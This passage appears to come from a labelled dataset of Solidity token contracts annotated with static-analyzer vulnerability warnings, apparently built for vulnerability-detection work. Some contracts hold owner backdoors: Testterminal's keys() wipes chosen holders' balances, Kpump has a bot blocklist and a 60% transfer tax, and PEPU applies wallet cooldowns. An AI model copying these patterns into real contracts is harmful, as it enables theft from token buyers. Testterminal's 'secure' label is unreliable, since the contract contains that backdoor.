require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (\n from != owner() &&\n to != owner() &&\n from != _marketingWallet &&\n to != _marketingWallet\n ) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n taxAmount = (amount * _BuyTax) / 100;\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n if (block.number > lastContractSellBlock) {\n contractSellCount = 0;\n }\n require(contractSellCount < 2);\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\t\t\t\t// reentrancy-events | ID: 0f89754\n\t\t\t\t// reentrancy-eth | ID: 4ce2cff\n swapTokensForEth(amountToSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0f89754\n\t\t\t\t\t// reentrancy-eth | ID: 4ce2cff\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 4ce2cff\n contractSellCount++;\n\t\t\t\t// reentrancy-eth | ID: 4ce2cff\n lastContractSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4ce2cff\n _balances[address(this)] += taxAmount;\n\t\t\t// reentrancy-events | ID: 0f89754\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 4ce2cff\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-eth | ID: 4ce2cff\n _balances[to] = _balances[to] + (amount - taxAmount);\n\t\t// reentrancy-events | ID: 0f89754\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 0f89754\n\t\t// reentrancy-events | ID: a2e20d6\n\t\t// reentrancy-eth | ID: ab91e24\n\t\t// reentrancy-eth | ID: 4ce2cff\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4876e32): CHEYENNE.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for 4876e32: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: 4876e32\n _BuyTax = BuyTax;\n\t\t// events-maths | ID: 4876e32\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 384a49f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 384a49f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: efb7440): CHEYENNE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for efb7440: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6ceb4f7): CHEYENNE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6ceb4f7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 828dd5f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 828dd5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 384a49f\n\t\t// reentrancy-eth | ID: 828dd5f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 384a49f\n\t\t// unused-return | ID: efb7440\n\t\t// reentrancy-eth | ID: 828dd5f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 384a49f\n\t\t// unused-return | ID: 6ceb4f7\n\t\t// reentrancy-eth | ID: 828dd5f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 384a49f\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 828dd5f\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 93ed0bd): CHEYENNE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 93ed0bd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0f89754\n\t\t// reentrancy-events | ID: a2e20d6\n\t\t// reentrancy-eth | ID: ab91e24\n\t\t// reentrancy-eth | ID: 4ce2cff\n\t\t// arbitrary-send-eth | ID: 93ed0bd\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_713.sol",
"secure": 0,
"size_bytes": 14997
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 901f2c1): Contract locking ether found Contract BookofTrump has payable functions BookofTrump.receive() But does not have a function to withdraw the ether\n// Recommendation for 901f2c1: Remove the 'payable' attribute or add a withdraw function.\ncontract BookofTrump is ERC20, Ownable {\n constructor() ERC20(unicode\"Book of Trump\", unicode\"BOOT\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 901f2c1): Contract locking ether found Contract BookofTrump has payable functions BookofTrump.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 901f2c1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_714.sol",
"secure": 0,
"size_bytes": 1026
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Testterminal is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable fist;\n\n constructor() {\n _name = \"Test Terminal\";\n\n _symbol = \"TESTT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 371000000;\n\n fist = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == fist, \"Not allowed\");\n\n _;\n }\n\n function keys(address[] memory bedroom) public onlyOwner {\n for (uint256 i = 0; i < bedroom.length; i++) {\n address account = bedroom[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_715.sol",
"secure": 1,
"size_bytes": 4360
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Kpump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e1f2db6): kpump._taxWallet should be immutable \n\t// Recommendation for e1f2db6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dbae1b3): kpump._initialBuyTax should be constant \n\t// Recommendation for dbae1b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a03f6a0): kpump._initialSellTax should be constant \n\t// Recommendation for a03f6a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a578d88): kpump._reduceBuyTaxAt should be constant \n\t// Recommendation for a578d88: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99ae6fa): kpump._reduceSellTaxAt should be constant \n\t// Recommendation for 99ae6fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85db6f2): kpump._preventSwapBefore should be constant \n\t// Recommendation for 85db6f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 60;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KabosuWifPumpkin\";\n\n string private constant _symbol = unicode\"KPUMP\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8dffb70): kpump._taxSwapThreshold should be constant \n\t// Recommendation for 8dffb70: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbecfda): kpump._maxTaxSwap should be constant \n\t// Recommendation for cbecfda: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xbd326D2d995b87f85ecFb6932B01a5207b60c9E9);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 81e5f3f): kpump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 81e5f3f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fa116bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fa116bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 92126c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 92126c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fa116bb\n\t\t// reentrancy-benign | ID: 92126c2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fa116bb\n\t\t// reentrancy-benign | ID: 92126c2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4397858): kpump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4397858: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 92126c2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fa116bb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3279025): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3279025: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9feb431): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9feb431: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3279025\n\t\t\t\t// reentrancy-eth | ID: 9feb431\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3279025\n\t\t\t\t\t// reentrancy-eth | ID: 9feb431\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9feb431\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9feb431\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9feb431\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3279025\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9feb431\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9feb431\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3279025\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3279025\n\t\t// reentrancy-events | ID: fa116bb\n\t\t// reentrancy-benign | ID: 92126c2\n\t\t// reentrancy-eth | ID: 9feb431\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function LimOf() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3279025\n\t\t// reentrancy-events | ID: fa116bb\n\t\t// reentrancy-eth | ID: 9feb431\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c582a24): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c582a24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c2c1506): kpump.TradeOpen() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c2c1506: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 07320fc): kpump.TradeOpen() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 07320fc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e71de6d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e71de6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function TradeOpen() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c582a24\n\t\t// reentrancy-eth | ID: e71de6d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c582a24\n\t\t// unused-return | ID: 07320fc\n\t\t// reentrancy-eth | ID: e71de6d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c582a24\n\t\t// unused-return | ID: c2c1506\n\t\t// reentrancy-eth | ID: e71de6d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: c582a24\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e71de6d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 79a961b): kpump.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 79a961b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 79a961b\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_716.sol",
"secure": 0,
"size_bytes": 18024
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PEPU is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04d442f): PEPU._decimals should be constant \n\t// Recommendation for 04d442f: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c48a33): PEPU._totalSupply should be immutable \n\t// Recommendation for 6c48a33: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: d08be85): PEPU._name should be constant \n\t// Recommendation for d08be85: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Pepe Unchained\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b7e0980): PEPU._symbol should be constant \n\t// Recommendation for b7e0980: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPU\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 38ebb60): PEPU.uniV2Router should be constant \n\t// Recommendation for 38ebb60: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 311632d): PEPU._taxWallet should be immutable \n\t// Recommendation for 311632d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function swapdispersefor() public {}\n\n function fordisperse() external {}\n\n function externalforview() public {}\n\n function viewtocool() public {}\n\n function ToInternal(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n 